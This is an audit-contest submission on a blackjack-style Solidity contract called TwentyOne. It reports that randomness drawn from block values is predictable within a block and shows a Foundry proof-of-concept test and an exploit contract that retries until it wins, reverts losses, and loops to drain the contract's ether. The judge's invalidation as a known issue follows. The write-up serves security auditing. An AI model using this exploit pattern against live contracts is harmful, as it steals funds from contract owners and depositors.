TwentyOne

First Flight #29
Beginner FriendlyGameFiFoundrySolidity
100 EXP
View results
Submission Details
Severity: low
Invalid

Predictable In-Block Randomness Enables Contract Draining

Summary

The TwentyOne contract uses block parameters for randomness that remain constant within a transaction. Once an attacker finds a winning combination, they can repeat it in a loop to drain the contract's funds.

Vulnerability Details

uint256 randomIndex = uint256(
keccak256(
abi.encodePacked(
block.timestamp,
msg.sender,
block.prevrandao
)
)
) % availableCards[player].length;
  • All randomness sources are constant within a block

  • Card draws become predictable once first attempt succeeds

  • Can be exploited within same transaction

Impact

  • Complete Fund Drain:

    • Winning combinations can be repeated

    • All contract funds can be extracted in one transaction

    • No limit on exploitation once winning path found

  • Economic Loss:

    • Contract can be emptied efficiently

    • Casino loses all deposited funds

Tools Used

  • Manual Code Review

  • PoC exploit contract

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;
import {Test, console} from "forge-std/Test.sol";
import {TwentyOne} from "../src/TwentyOne.sol";
contract TwentyOneTest is Test {
TwentyOne public twentyOne;
address player1 = address(0x123);
address player2 = address(0x456);
function setUp() public {
// ... keep existing code here ... //
vm.deal(address(twentyOne), 10 ether);
}
// ... keep existing code here ... //
function test_Drain() public {
vm.startPrank(player1);
TwentyOneExploit exploiter = new TwentyOneExploit(address(twentyOne));
uint256 initialCasinoBalance = address(twentyOne).balance;
uint256 initialPlayerBalance = player1.balance;
console.log("Initial balances - Casino: %s ETH, Player: %s ETH",
initialCasinoBalance / 1e18,
initialPlayerBalance / 1e18
);
// Exploiting BUG: "Predictable In-Block Randomness Enables Contract Draining"
// Exploiting BUG: "Transaction Revert Control Allows Risk-Free Gambling"
//
// Simulates an attacker trying to play at different times through the attack contract
// If the play is not a win, the transaction is reverted and no funds are loss (only some gas consumed)
// If the play is a win, the transaction contains a loop that repeats the winning play until target is drained
for(uint256 i = 0; i < 10; i++) {
// Set new block values for each attempt
vm.roll(block.number + 1);
vm.warp(block.timestamp + 15);
vm.prevrandao(keccak256(abi.encode(block.number)));
try exploiter.exploit{value: 1 ether}() {
console.log("Exploit succeeded at block %s!", block.number);
break;
} catch {
console.log("Block %s failed, trying next...", block.number);
}
}
console.log("Final balances - Casino: %s ETH, Player: %s ETH",
address(twentyOne).balance / 1e18,
player1.balance / 1e18
);
assertLt(address(twentyOne).balance, initialCasinoBalance, "Casino balance should decrease");
assertGt(player1.balance, initialPlayerBalance, "Player balance should increase");
vm.stopPrank();
}
}
contract TwentyOneExploit {
TwentyOne public immutable target;
constructor(address _target) {
target = TwentyOne(_target);
}
function exploit() external payable {
require(msg.value == 1 ether, "Need 1 ETH");
uint256 initialBalance = address(this).balance;
while(address(target).balance >= 1 ether) {
uint256 hand = target.startGame{value: 1 ether}();
if (hand <= 16) {
target.hit();
hand = target.playersHand(address(this));
// Exploiting BUG: "Transaction Revert Control Allows Risk-Free Gambling"
if (hand > 21) revert("Bust after hit");
}
target.call();
// Exploiting BUG: "Transaction Revert Control Allows Risk-Free Gambling"
require(address(this).balance > initialBalance, "Lost hand, try again!");
initialBalance = address(this).balance;
// Exploiting BUG: "Predictable In-Block Randomness Enables Contract Draining"
// Following game plays will all give the same winning result allowing target to be drained
}
payable(msg.sender).transfer(address(this).balance);
}
receive() external payable {}
}

Recommendations

  • Secure Randomness Source:

    • Use Chainlink VRF or similar oracle

    • Implement proper commit-reveal scheme (potentially avoiding the need for VRF)

  • Per-Transaction Limits:

    • Restrict maximum wins per block

    • Add cooldown between games

  • Proper RNG:

    • Use accumulated entropy

    • Consider multiple randomness sources

Updates

Lead Judging Commences

inallhonesty Lead Judge 11 months ago
Submission Judgement Published
Invalidated
Reason: Known issue
Assigned finding tags:

[INVALID] Known - Randomness

Randomness Manipulation: The randomness mechanism relies on block.timestamp, msg.sender, and block.prevrandao, which may be predictable in certain scenarios. Consider using Chainlink VRF or another oracle for more secure randomness.

Appeal created

eierina Submitter
11 months ago
inallhonesty Lead Judge
11 months ago
inallhonesty Lead Judge 11 months ago
Submission Judgement Published
Invalidated
Reason: Known issue
Assigned finding tags:

[INVALID] Known - Randomness

Randomness Manipulation: The randomness mechanism relies on block.timestamp, msg.sender, and block.prevrandao, which may be predictable in certain scenarios. Consider using Chainlink VRF or another oracle for more secure randomness.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.